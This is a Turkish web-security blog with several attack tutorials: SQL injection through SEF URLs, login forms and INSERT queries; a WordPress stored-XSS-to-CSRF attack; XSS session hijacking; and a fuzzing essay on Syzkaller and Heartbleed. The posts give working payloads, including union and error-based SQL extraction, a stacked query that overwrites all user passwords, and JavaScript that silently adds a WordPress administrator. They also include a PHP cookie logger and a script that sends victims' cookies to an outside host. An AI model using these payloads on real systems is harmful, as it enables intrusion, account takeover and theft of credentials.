19 Ekim 2018 Cuma

Sef Url - PDO Injection

Merhaba arkadaşlar bu yazımda pdo ve sef url injectionu anlatacağım. Videolarda genelde html injection olarak anlatılıyor aslında yanlış bir tanım olur sef url için. Site içinde seo url ve db bağlantısı olarak pdo kullanılmaktadır.




Şimdi urlnin sonuna bir tırnak atalım ve sorgumuzu inceleyelim.

Sorgumuz aşağıdaki gibidir. Dışardan get olarak gelen "s" htaccess ile seo url ye dönüştürüp ekrana basıyor.



$s=$_GET["s"];
$urn = $db->prepare("SELECT * FROM referanslar where ref_seo='$s'");

Tırnak attık http://localhost/sefurl/ref/a-firmasi'
SELECT * FROM referanslar where ref_seo='' ve gönderdiğimiz tırnak sorguyu bozdu ve ekrana beyaz sayfa verdi.

Tırnaktan sonra sql sorgumuzu durdurma operatörlerini kullanarak sorgumuzun true dönmesini sağlıyoruz.

http://localhost/sefurl/ref/a-firmasi'-- -

SELECT * FROM referanslar where ref_seo='a-firmasi'-- -' 

sorgu true döndü ve içerikler ekrana basıldı




http://localhost/sefurl/ref/a-firmasi' order by 6-- - yaptık beyaz sayfa aldık. Yani 6'dan daha küçük bir column sayısı var.





http://localhost/sefurl/ref/a-firmasi' order by 5-- - yaptık true döndü sorgumuz. ve ekrana tekrar veriler geldi.




Şimdi veritabanındaki verileri çekmeye başlayabiliriz. Union select ile 5'e kadar yazıyoruz.
http://localhost/sefurl/ref/a-firmasi' union select 1,2,3,4,5-- - 




Ekrana sayılar geldi bunlar ne anlama gelir? Bunlar programcının kullandığı column numaraları yani örnek verecek olursak ekrana başlık ve içerik bilgileri yazdırılıyor phpmyadminden bakalım.



bizim union select sorgumuzda 3,4 sayıları ekrana vermişti programcının kullandığı columnların sayısı yani ref_baslik 3.sırada ref_icerik 4. sırada
lafı fazla uzatmadan veri çekmeye başlayalım.

Ekrana yansıyan sayıları union select sorgumuzdaki sayıların yerlerine database adını ve versionu yazdım.
http://localhost/sefurl/ref/a-firmasi' union select 1,2,database(),version(),5-- -
yazdık ve çıktıya bakıyoruz.


SELECT * FROM referanslar where ref_seo='a-firmasi' union select 1,2,database(),version(),5-- -'




Not: Sitelere göre değişiklik gösterebilir .html ile bitebilir site/sefurl/ref/a-firmasi.html sorguyu durdurma operatörleri sadece -- - değil --+ ,#, and'1 şeklinde sorguları durdurabilirsiniz.

Başka yazılarda görüşmek üzere.



8 Ağustos 2018 Çarşamba

Modern Bir Zafiyetin Anatomisi Vol. I

Son zamanlarda fuzzing project altında piyasaya çıkan yardımcı yazılımların davranışsal hareketlerini kısaca açıklamak istiyorum ve fuzzing project adı altında gerçekleşen uygulamaların sınıflarından bahsetmekte de fayda görüyorum. Öncelikle  Fuzzing: Brute Force Vulnerability Discovery kitabından alıntıyla fuzzing tanımı ve sınıflarını anlamak açısından kısa bir tanım yapalım;
Hedef yazılım üzerinde, girişlere tanımı yapılan belirli karakterler ile birlikte yazılımsal sorunların tespitine biz fuzzing diyoruz lakin son zamanlarda fuzzing project adı altında piyasada bulunan güvenlik araçlarının daha çok mantıksal açıklarla tanışmasıyla birlikte eski method 'stack overflow' benzeri açıkların yerini '
out-of-bounds access, use after free, type confusion, race condition' gibi yüksek derecede öneme sahip açıklar almıştır. 'Smart' ve 'Dumb' dediğimiz iki method türemiştir. Bu yüzden yukarıda belirttiğimiz sınıflara göz atmakta fayda var.
Bu açıklar white,black ve gray box testing olmak üzere 3 sınıf içinde inceleniyor. 
 
White Box; Kaynak kodları elinde olmakla birlikte 'blind' method olmaksızın yapılan tespitlere verilen ad.
Black Box; Kullanıcı kontrollü kaynak kod olmaksızın ve sadece input üstünde 'blind' method dediğimiz sistemle yapılan tespitlere verilen ad. Buna örnek olarak 'sql injection' denemelerini gösterebiliriz kaynak kod olmaksızın belirlenen karakterle sadece dış odaklı aramalar bu sınıfın tam tanımıdır.

Gray Box; Yukarıda tanımı yapılan her iki test aşamalarının uygulanmasına ise gray box fuzz türü diyebiliriz.


Fuzzing Project adı altında piyasaya sunulan 'Binary' bazlı uygulamalar ile birlikte bir devrim olmuş ve zaman aralığı olarak 2 yılda keşfedilen zafiyet sayısına 1 ay gibi kısa bir sürede ulaşılmıştır. Bu yüzden fuzzing project iyi tanımak, iyi anlamak ve uygulamalar üstünde süreklilik göstermek gerekir.

Linux tabanlı sistemlerde zafiyetlerin nasıl tetikleneceği ve bu zafiyetlerin alt yapısını inceleyeceğiz. Bildiğiniz üzere işletim sistemlerinde eğer bir zafiyet arayacaksanız ve dahi o zafiyeti bulduysanız tetiklemek ve o açıktan faydalanmak için o sistemlerin yapısını iyi bilmeniz gerekmektedir. Son zamanlarda çıkan yardımcı araçlarla beraber sistemlerde zafiyet tespiti, zafiyetin detaylı olarak konsept hali ve zafiyetlerin türleri kolay şekilde belirlenebilmektedir. Bunlara örnek vermek gerekirse eğer; hepimizin bildiği AFL Fuzzing, Honggfuzz, OSS-Fuzz ve piyasanın kernel bazında en iyi projesi olan Syzkaller geliyor bunlar ve bunlara benzer daha bir çok fuzzing projesi mevcut olmakla birlikte bunların yanı sıra; kasan, ktsan, kmsan ve kubsan gibi açık türünün tespitine dair ek yazılımlar geliştirilmiştir. Belirtilen yazılımlarla yüzlerce açık tespit edilmiş ve bunlardan bazıları 'exploit' edilirken bazıları için ise hızlı bir yama prosedürü uygulanmıştır.

Peki bunlar ne gibi açık türleri ve tespitleri nasıl yapılmaktadır ?

Yukarıda şematik olarak gösterilen imaj aslında Linux Kernel fuzzing için kullanılan 'Syzkaller' aracının çalışma methodu. (Bu araç ile bulunan açıklara referanslar listesinden göz gezdirebilirsiniz.)
Syzkaller aslında fuzzing ve sanitizer dediğimiz iki methodun birleşimi ile performans göstermektedir. Sadece kaynak kodlar üzerinde değil, harici bellekler ile özgün çalışmalarda da başarılı bir performans sergileyin syzkaller bu alanda şimdiye kadar geliştirilmiş en başarılı araç olarak görünüyor. USB-Exploitation denildiğinde aklıma gelen ilk makale sanırım bu olacak, çünkü etkili bir fuzzing tekniği ve fiziksel araçların kullanımıyla başarılı bir sonuç elde edilmesi bu alan ile ilgilenen kişiler için yeni fikirler ve keşifler demek olacak. Yazılımları fuzz edebilmek kadar, fuzz edilen yazılımın exploit edilebilmeside aynı ölçüde önem taşımaktadır. Kod blogları arasında bulunan her zafiyetin exploit edilemediğini anlamamız ve idrak etmemiz gerekiyor. Syzkaller ile bulunan zafiyetlerin en iyi şekilde incelenerek pratik olarak anlaşılması gerekmektedir. Size hazır POC sağlamış olması sizin o açığı sömürebileceğiniz anlamına gelmez. Linux Kernel Exploitation için bir çok adım atmanız gerekmektedir, bu adımların başında günbegün eklenen güvenlik önlemlerini aşmanızın yanı sıra o mimariyi iyi ve etkili şekilde kullanmanızda gerekir.


Neden ? Çünkü bir mimarinin nasıl bir algoritmayla çalıştığını anlayamazsanız o mimari ile ilgili fikir yürütemezsiniz. Mesela BSD mimarisinde meydana gelen bir use-after-free açığını UMA mimarisi bilmeden exploit edebilmeniz fazla imkanlı görünmüyor, aynı durum Linux ve Windows mimarilerde geçerli. Bu yüzden öncelikle exploit edeceğiniz açığın türevini, bu açığın etkileşimde olduğu kod bloğunu ve o açık türevini sömürmek için gerekli olan argümanları toplamamız gerekir. Örneğin use-after-free yahut double-free yahut null-pointer açıklarından faydalanabilmek için öncelikle bu açıkların ne işe yaradığını ve zafiyetin nasıl oluştuğunu ve nasıl tetikleneceğini bilmemiz gerekiyor. Mesela; bir use-after-free açığından faydalanmak için yukarıda belirttiğimiz üzere SL(AUO)B memory management mantığını bilmemiz gerekecek. Bunun yanı sıra Heap Spray(Sendmsg Heap Spraying) yöntemini ve SMEP & SMAP gibi güvenlik önlemlerini aşmamız gerekecek tabi bunların ROP yahut JIT gibi yöntemlerle iltisaklı olduğunu unutmamak gerekiyor. Bu yüzden sizin yerinize POC yazacak bir yazılım değil pratik olarak sizin anlayıp uyguladığınız bir yazılıma dönüşmesi gerekmektedir. Sonuçta kodları siz okumuyorsunuz ya da kod bloglarını siz incelemiyorsunuz tek yaptığınız farklı config ayarları ile birlikte belirtilen yazılımı fuzz etmek. Bu konulardan mütevellit bir kaç örnek ile konuyu genişletmekte fayda var, bunlardan birisi Heartbleed zafiyeti. Bu açık son zamanlarda görülmüş en büyük zafiyetlerden birisi olması hasebiyle ve büyük bir etki göstermesiyle adını duyurdu, OpenSSL kütüphanesinde meydana gelen bu açık ile beraber yahoo, flickr ve tumblr gibi birbirine bağlı ünlü siteleri etkilemekle beraber hassas bilgilerinde açığa çıkmasını sağladı. Peki bu açık nasıl keşfedildi ve açık keşfedilirken nelerden faydalanıldı muhakkak merak etmişsinizdir o zaman beraber gözatmakta fayda var. Devami vol. II(Heartbleed açığını detaylı incelemek ve etkilenen siteleri görmek için referans kısmını kontrol edebilirsiniz.)

 
Yukarıda ki resimde gördüğünüz üzere "selftls" olan bir dosya üstünde fuzzing işlemi gerçekleştiriyoruz. Bu aslında; üretilen sertifikanın handshake dediğimiz yöntemle fuzz edilmesi demektir. Bu bahsettiğimiz üzere bir memory allocator hatasından kaynaklanmaktadır. Bu hatayı detaylı olarak anlamak istiyorsanız My heart is ok, but my eyes are bleeding yazısıyla tam manasıyla vakıf olabilirsiniz. Fuzzing başlattık.




Fuzing başladıktan 21 saat sonrası AFL bir hata ile karşılaştığını belirtti. İşte tam olarak otomasyon mantığıyla çalışan fuzzing yazılımlarının görevi bu oluyor, kodları satır satır okuyan arkadaşlar için bir doğrulama yöntemi olmasının yanında "blind fuzzing" içinde ideal bir araç olmuş oluyor. Bulduğumuz bu 3 açık aslında tam olarak openssl'in "memory allocator" yapısıyla alakalı yani ortaya çıkan açık "heap-based buffer overflow" açığı. Yani siz "ssl" kullanan bir yapıya istek yaptığınızda gönderdiğiniz istek eğer "memory" aşacak bir istekse haliyle hafızada hata üretiyor. Bu gibi hatalar "alloc" edilmiş bir hafızanın taşması sonrası meydana geliyor lakin yukarıda verdiğimiz linkte göreceğiniz üzere "openssl" firması kendi "allocator" yapısını oluşturmuş ve bu yapı baştan sona sağma bir biçimde yazılımla adapte edilmiş gibi duruyor(yeni versiyonlarda rastlayamazsınız).
 

 


 Zaman ilerledikçe yapı üstünde ki hatalar artmaya devam ediyor. Bu "openssl allocator" yapısının yazılıma olan etkisi. (Biz burada 512-bit bir fuzz işlemi yapmıştık eğer bunu büyütmek isterseniz özgürsünüz bununla eşdeğer şekilde hızınızın düşeceğinide unutmayınız.) Handshake sırasında meydana gelen hataların çeşitliliği gitgide artıyor, bu "allocator" için sabit bir yapıyla gelen isteklerin 512-bit RSA olması gerektiğini düşünerek bu kadar alana sahip sabit bir alan ayırmasından ve bu alanın fazlasını karşılayamayacak esnek olmayan bir yapıya sahip olmasından kaynaklanıyor.

İlk bölüm burada bitsin, önümüzde ki bölümde açığın detaylı incelenmesi ve exploit edilmesiyle ilgili bir yazı yazacağız.
 
Sefa Karakuş


 

25 Nisan 2018 Çarşamba

Sitedeki Uygulamalar, Tool'lar ...

Sitedeki uygulama ve tool'ların bir kısmı içerik yayını yaptığım sunucuyu kapatmamdan dolayı, bir kısmı ise tool tarafından web isteklerinin gönderildiği sayfaların güncelliğini kaybetmesinden sonra askıya alınmıştır. Gerekli güncellemeler yapıldıktan sonra hepsi tekrar yayınlanacaktır.

Tools and applications published in this site are no more available because we have removed cdn server. Also some of them are not up to date because the web url's they were sending requests are no more available. We will publish them again and inform you when we have finished update process.

30 Mart 2018 Cuma

XSS to CSRF

Merhaba arkadaşlar bu yazımı wordpress üzerinde anlatacağım. Wordpress üzerindeki basit bir xss'i csrf ye dönüştürüp yeni bir yönetici eklemeyi göstereceğim.

CSRF - CROSS SITE REQUEST FORGERY
(Kullanıcının isteği dışında ve haberi olmadan dışarıdan müdahale)

Bildiğiniz gibi wordpress'in csrf saldırılarına önlem olarak kullanıcı için oluşturduğu bir token vardır ve bu token'in sayfadaki input id'si _wpnonce'tur.
Gelen isteklerde bu token üretilenle uyuşmazsa işlem gerçekleştirilmez.
Biz saldırıda wpnonce token'ını javascript ile alıp kendi post'umuzu yöneticinin haberi olmadan göndereceğiz.

Bu istek normal şartlar altında SOP önleminden dolayı yapamayacağımız bir istek ancak burada XSS açığımızdan faydalanacağız. Bu sayede SOP önlemini bypasslamış olacağız.
Bunun için XmlHttpRequest'i kullanacağız.
(XmlHttpRequest same-origin policy'dan dolayı  sadece aynı domaine istek gönderir.)
site = "http://localhost/wordpress";
kadi="batu";
sifre="diaryofinjector";
eposta="batu@diaryofinjector.com";
xhr = new XMLHttpRequest();
xhr.open("GET",site + "/wp-admin/user-new.php",true);
xhr.onreadystatechange=function() {
    if (xhr.readyState==4) {
            response=xhr.responseText;
            wtoken=response.split('hidden" id="_wpnonce')[1];
            wtoken=wtoken.split('"')[4];
            xhr.open("POST", site + "/wp-admin/user-new.php",true);
            xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

verigonder="action=createuser&_wpnonce_create-user=" + wtoken + "&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fuser-new.php&user_login="+ kadi + "&first_name=&last_name=&email=" +
eposta + "&url=&pass1=" + sifre + "&pass1-text=" + sifre + "&pass2=" + sifre + "&pw_weak=on&send_user_notification=1&role=administrator&createuser=Add+New+User"
   xhr.setRequestHeader("Content-Length",verigonder.length);
    xhr.send(verigonder);
    }
}
xhr.send(null); 

Kodumuz şu şekilde çalışıyor 
site, kadi, sifre, eposta şeklinde değerler tanımladık kod çalışmaya başladığı zaman şunlar gerçekleşir;

1-Wordpress yönetim paneline get gönderir
2-O anki yöneticinin _wpnonce(token değerini inputtan alır)
3-Ardından post işlemi yani yönetici ekleme işlemini başlatır.

Şimdi wordpress temasının yorum kısmındaki stored xss'imize bakalım 
<h1> deniyorum;















   
Sonuç Başarılı









Şimdi sıra geldi javascript kodumuzu src ile buraya çekmeye. 
Js yi çektikten sonra admin yorumu okur okumaz direk olarak panele batu adında yönetici oluşturacak.
<script src=//ip/ekle.js></script>
















Gönderdik.







Yönetici yorumu okuduğu zaman direk batu adında bir admin ekleyecek.






Tabi yönetici eklemek sadece bir örnek. Daha ileri saldırılar düzenleyip doğrudan temayı da editleyebilirsiniz. Hatta plugin içerisinde web shell bile yükletebilirsiniz. JS ile doğrudan raw http istekleri yaptırabilirsiniz. Buna multipart-form-data da dahil.


XSS ile yapılabilecek saldırılarda Cookie çalmaktan sonraki bir üst seviye saldırılar bu şekilde yapılabilir. Aynı zamanda httpOnly cookie türlerinden dolayı Cookie çalınamayan durumlarda bu tarz saldırılar düzenlenebilir. Tabi erişim izniniz olmayan (ip filtreli vs.) sayfalarda da bu saldırı geçerli olacaktır.

Bir sonraki yazımızda XSS ile http proxy tunneling saldırısını anlatacağım.
Önceki XSS yazılarımıza ise aşağıdan ulaşabilirsiniz:
http://www.diaryofinjector.com/search/label/XSS
Sonraki yazımızda görüşmek üzere ;)
İyi Günler




7 Aralık 2017 Perşembe

Mysql Error Based Injection


Bu yazımda extractvalue error based ile login bölümünden sql injection yapacağız.










Yukarıda gördüğünüz gibi normal bir login giriş bölümü şimdi rastgele birşeyler girelim.








Resimde gördüğünüz gibi hata verdi sql sorgumuzu inceleyelim;
select * from uyeler where username='asd' and password='asd'

şimdi bir de kullanıcı adı bölümüne: '=' 'or' ile deniyelim.
select * from uyeler where username=''=' 'or' ' and password=''=' 'or' '
yukarıdaki sorgudan anlaşılacağı gibi  username='' deki ve password='' deki
tırnakları aşmış sorguyu değiştirmiş oluyoruz böylece true dönüyor ve login oluyoruz.







Şimdi gelelim extractvalue ile veri çekmeye;
Kullanıcı adı bölümüne : a'and extractvalue(0x1,concat(0x1,(select database())))-- basit bir sorgu ile database adını çekmeyi deniyeceğiz şifre bölümüne ise ' tek tırnak koymanız yeterli -- ifadesi sorguyu kapatacağı için ' tırnak ile true döndüreceğiz sorguyu
select * from uyeler where username=a'and extractvalue(0x1,concat(0x1,(select database())))--' and password=' ve sonuçlara bakalım gördüğünüz gibi database adı geldi.






gördüğünüz gibi database adı geldi. Şimdi kolonları çekelim;

and extractvalue(0x1,concat(0x1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))-- yazıyoruz;







şimdi tek tek limitimizi değiştirip tek tek sorguları ekrana yazdırıyoruz.

and extractvalue(0x1,concat(0x1,(select column_name from information_schema.columns where table_schema=database() and table_name='uyeler' limit 0,1)))--
Not:Eğer -- veya # sorgu sonlandırılmıyorsa sorgunun sonuna and'1 ekleyerek de sorgunun syntax hatasız çalışması sağlanır.







üyeler tablosundakileri listeledik id , username , password var benim işimi yarıcak iki veri var username ve password şimdi sorgumuzu ona göre yazıp username ve password daki verileri ekrana yazdıracağız ve sonuç alttaki resimde olduğu gibi eğer veritabanında birden çok veri varsa limiti değiştirip çekebilirsiniz.





Not: Extravalue toplam 32 karakter döndürür daha fazlasını okumak için substring kullanılır.
Örnek Sorgu:'and 1=extravalue(null,concat(0x3a,(select substring(table_name,32,32) from information_schema.tables where table_schema=database() limit 1 offset 0)))

İyi günler.

24 Ekim 2017 Salı

Xss Session Hijacking Uygulama Örneği

Bu yazımızda basit bir iletişim forumundan ek bir güvenlik ve kontrol olmadan veri gönderimini kullanarak Xss Session Hijacking saldırısı düzenlemeyi anlatacağım.











 Yukarıda bir iletişim formu var şimdi buradaki inputlara ve textarea'ya verileri giriyoruz ve tamperdata,burpsuite gibi araçlarla yakalayıp veriyi değiştireceğiz.






Verilerimiz gördüğünüz gibi şimdi bu verilere cookie loglayacağımız için loggerimizin adresini yazıyoruz.
Php Kodu
<?php
error_reporting(0);
$cookie=$_GET["cookie"];
$date=date("l ds of F Y h:i:s A");
$user_agent=$_SERVER['HTTP_USER_AGENT'];
$file=fopen('lob.txt','a'); // chmod 777 lob.txt
fwrite($file,"TARIH:$date || USER AGENT:$user_agent || COOKIE:$cookie \n");
fclose($file);
?>
Javascript Kodu
i=new/**/Image();i.src='http://siteadi.com/log.php?cookie='+document.cookie+'////log adres/////:::'+document.location;
Yukarıdaki kodlar ile basit bir log aracı elde etmiş olduk şimdi verilerimizi loglayacağımız şekilde gönderiyoruz.










Neden İsimin olduğu bölüme ve mesaj içerik bölümüne js kodunu ekledik çünkü genelde yönetim panellerinde tablolarda mesaj bölümünde isim soy isim ve mesajın kısaltımı substr olarak ayarlanıp echo ile bastırılır ekrana.

 Gönderdik verimizi ve adminimiz giriş yaptı




 Yönetim panelindeki anasayfada mesajımız geldi. Log dosyamıza bakıyoruz


Yöneticinin cookilerini elde etmiş bulunuyoruz ve ardından yöneticiden aldığımız cookileri kendi cookielerimizle değiştirip login olacağız ilk önce cookie manager plugini ile kendi cookiemizi seçiyoruz












Resimde görüldüğü gibi login değiliz yöneticiden aldığımız cookieleri kendi cookielerimizle yer değiştiriyoruz.













Değiştirdik ve cookie logger aracımız ile log yolunu (http://localhost/portal/admin-21-/anasayfa.php) direk url bölümüne yapıştırdık ve loginiz.






17 Ekim 2015 Cumartesi

Insert bazlı Query'lerde SQL Injection

Bu yazımızda temelde insert cümlesi kullanan web sayfalarında SQL Injection saldırısı düzenlemeyi anlatacağım.

Insert cümlesi kullanan sayfalara örnek verecek olursak en güzel örnek register formları olacaktır. Bu yazımda kendi kodladığım bir register formunda SQL Injection yapacağım.

Formun PHP kodu aşağıdaki gibidir;


Kodumuz kullanıcıdan kadi, ad, soyad, email alarak register işlemi gerçekleştirmektedir. Bu verileri kullanıcı tablosuna insert etmektedir.

Formun görünümü aşağıdaki gibidir;


Verileri girip kaydol dediğinizde "Kayıt eklendi" demektedir.

Biz tırnak işareti kullanarak kayıt ekledik ve aldığımız yanıt şu şekildedir:


Tırnak işaretini bir değil 2 tane peş peşe koyarsak, veritabanı standartlarında escape edilerek string olarak tırnak işaretine dönüştürülecektir. Özel karakter olarak işlev görmeyecektir. Bu şekilde bir deneme yapalım:

Veritabanına nasıl eklendiğine bakalım:


Gördüğümüz gibi tırnak işareti kayıt metnine direk yansıdı, sorguyu bozmadı.

Bizim injection çektiğimiz kolon email kolonuydu. Şimdi biz mevcut insert cümlesini sonlandırmaya çalışacağız. Önce sorgunun orjinalinde işin nasıl gerçekleştiğine bakalım:

INSERT INTO kullanici (id,kadi, ad,soyad, email)VALUES (null, '".$_POST['kadi']."', '".$_POST['ad']."','".$_POST['soyad']."','".$_POST['email']."')

burada örneğin "kadi=asd&ad=asd&soyad=asd&email=asd@asd.com" yazmış olsaydık sorgu şu şekilde olacaktı;

INSERT INTO kullanici (id,kadi, ad,soyad, email)VALUES (null, 'asd','asd','asd','asd@asd.com')

Biz email kısmına ')-- girdiğimizde sorgu şu şekilde olacak;

INSERT INTO kullanici (id,kadi, ad,soyad, email)VALUES (null, 'asd','asd','asd','')--)

Mantıken baktığımızda emaile boş insert yapmış olacağız ancak deneme yaptığımızda kayıt eklenemedi. Bu sebeple biz sorgu sonlandırma karakteri olarak # karakterini kullanacağız. Mysql de bu karakterle de sorgu sonlandırmak mümkün. -- karakterleri ile mysql de bazen sonlandırma yapamıyoruz(bazen versiondan bazen de scriptte alınan önlemlerden kaynaklanmakta) ama diğer db'lerde sonlandırma yapabileceğimiz için onu da göstermiş olalım. Şimdi girdi olarak

')#

giriyoruz, aldığımız tepki aşağıdaki gibidir;

Bu arada veritabanı türlerine göre query sonlandırma karakterleri aşağıdaki gibidir;

Mysql:   -- ,  #
Oracle:  --
MsSQL: --, % 00(null byte)
Access% 00 (null byte)
PostgreSQL: --, % 00 (null byte)

SQLite: --, /*, % 00 (null byte)

IIS server kullanılıyorsa zaten yüksek ihtimalle % 00 tüm db'lerde çalışır. (Not: % 00 arasında boşluk olmayacak.)

Gördüğünüz gibi kayıt eklendi. Email kısmını boş olarak eklemiş olmamız lazım. Bunun için db'mizi kontrol edelim.



Evet 12 ve 13 id li kayıtlar boş email olarak denemelerimiz sırasında eklenmiş oldu.

Eğer email kolonumuzdan sonra başka kolonlarda insert ediliyor olsaydı, kayıt başarıyla eklendi uyarısı alana kadar aşağıdaki gibi denemeler yapacaktık.

','')#
','','')#
','','','')#

Peki mevcut query'yi sonlandıramasaydık ne yapacaktık?

O zaman 2 veri insert edermiş gibi query'yi tamamlamaya çalışacaktık. Önce insertte kaç kolon var onu tahmin etmemiz gerekecekti, daha sonra ilk insert cümlesini tamamlayıp 2. cümleyi açacaktık. Örnek vermek gerekirse, eğer 4 kolon olduğunu düşünseydik şu şekilde denemeler yapacaktık:

'),('','','','
',''),('','','
','',''),('','
','','',''),('

Burada amaç ilk query'yi tamamlayıp, 2. query'de sonuna eklenecek karakterlere göre hata vermeyip sorguyu tamamlayacak bir query üretmektir.

Örneğin ilk deneme doğruysa, son query şu şekilde olacaktır:

insert into bla values('bla','bla','bla',''),('','','','')

Tabi biz burda boş girdileri insert etmiş olduk. Boş olmama kuralı veya veri türü uyuşmazlıkları ihtimaline karşın aşağıdaki gibi bir girdi kullanmak daha akıllıca olur.

insert into bla values('bla','bla','bla',''),('2','2','2','2')

Şimdi biz istediğimiz veriyi ekliyoruz. Peki, başka neler yapabiliriz?

Burada önemli olan soru şudur, hangi veritabanı kullanılıyor?

Eğer kullanılan dbms "mssql" veya "postgresql" ise, "stacked query" desteğimiz var demektir. Bu da sorgu tipi insert olsa bile sonuna istediğimiz sorguyu ekleyebileceğimiz manasına gelir.

Örneğin şöyle bir saldırı kodu düşünelim;

');update users set password='12345' where username not in ('

Sorgunun son hali şöyle olacak:

insert into bla values('bla','bla','bla','');update users set password='12345' where username not in ('')

Burada hem insert query'si çalışacak, hem bizim update query'miz çalışacaktır.

Ancak dbms Oracle, Mysql, Access, Sqlite vb. ise sadece insert olan kısma müdahale edebiliriz.
Peki nasıl veri çekeriz?

Burada da aklımıza şöyle bir soru gelir, insert edilen verileri görebiliyor muyuz?

Eğer verileri görebiliyorsak email'e şöyle bir şey yazdığımızı düşünün:

asasd'),('','',version(),'','



17 id'li kayıt dikkatinizi çekmiştir herhalde ;)

Eğer insert tablosundaki verileri göremiyorsak, o zaman ne yapabiliriz?

Burada da bir soru sormak gerekir, db hataları detaylı bir şekilde ekrana yansıyor mu?

Eğer yansıyorsa Hata Bazlı Reflected Injection yapabiliriz. Bu çeşit bir saldırı için örnek kodlar aşağıdadır;

Mysql için:

asasd'),('','',extractvalue(rand(),concat(0x3a,version(),0x3a,user())),'','

veya 

asasd'),('','',(select 1 from(select count(*),concat((select table_name from information_schema.tables limit+0,1),floor(rand(0)*2))x from information_schema.tables group by x)a),'','



PostgreSQL için:

asasd'),('','',(select cast(current_user as int)),'','



Mssql için:

asasd'),('','',(select top 1 cast(name as int) from sysobjects),'','



Oracle için:

asasd'),('','',(select XMLType((‘<:’||user||’>’)) from dual),'','


Bu yazdığımız özel sorgular, hata mesajında bize istediğimiz veriyi verecektir.

Ancak bizim kodumuz hataları ekrana vermemekteydi. Blind injection yapmaktan başka şansımız kalmadı. Peki nasıl yaparız?

Burada biz neyi biliyoruz? Eğer iç sunucu hatası veren bir sorgu girilirse, "kayıt eklenemedi" ile karşılaşacağız.

O zaman biz de yazdığımız sorgu sonucu "true" çıktığında iç sunucu hatası verecek bir sorgu yazarız.

Örnek saldırı kodu aşağıdadır.

asasd'),('','',IF((select 1 from information_schema.tables where table_schema=database() and table_name like '%admin%'),(select 1 union select 2),1),'','


IF((select 1 from information_schema.tables where table_schema=database() and table_name like '%admin%'),(select 1 union select 2),1)

Eğer information_schema.tables'ta mevcut db'mizde, like '%admin%' şartını sağlayan bir tablo varsa, (select 1 union select 2), yoksa sadece 1 dönecektir.

True şartı sağlandığında (select 1 union select 2) - 2 elemanlı bir rowset döndüreceği için, syntaxa uygun olacak fakat, iç sunucu hatası verdirecektir.


Bu da içinde admin geçen bir tablomuz olduğu manasına gelir. Bu saldırı şekli Mysql'de kullanılır, çünkü Mysql'de tür dönüşümü uyumsuzlukları(int-char vb) ile iç sunucu hataları alınmamaktadır. Yine de başka türlü blind injection saldırıları da üretmek mümkündür.


Hee bu arada, Time Based Injection da yapılabilir ancak burada ihtiyaç yoktur. Zaten tespit edemediğimizde bu yönteme başvurmamız gerekir. Çünkü hiçbir denemede sayfadan bir tepki alamıyorsak; sayfaya yansımayan, ancak arka planda tetiklenme ihtimali olan injection'lar için Time Based denemeleri yapmak gerekir.


Insert bazlı query'ler bu şekilde inject edilebilmektedir. Bu tür insert cümleleri gösterdiğimiz gibi kayıt formları olabileceği gibi, veritabanı üzerine log tutan her yerde olabilir. Çünkü log mekanizması doğası gereği insert kullanmaktadır.  Özel karakterler escape edilmemiş HER QUERY inject edilebilir, etmesini bilene ;)

22 Eylül 2015 Salı

Remote Command Execution (RCE)

Bu güvenlik açığı tüm türler arasında en tehlikelisidir ve genelde 10 üzerinden 10 ile derecelendirilir. Bulmak zordur. Komut çalıştırma açığı aranan scriptte, komut çalıştıran bi kod parçası olması gerekir haliyle. Bu yüzden bulmak zordur, çünkü çok gerekmedikçe webmasterlar kolay kolay komut çalıştıran kodlar yazmaz. Ancak her sistemin her katmanında bu tip açıklara rastlanabilir. Biz burada web hacking'deki mevzusundan bahsedeceğiz.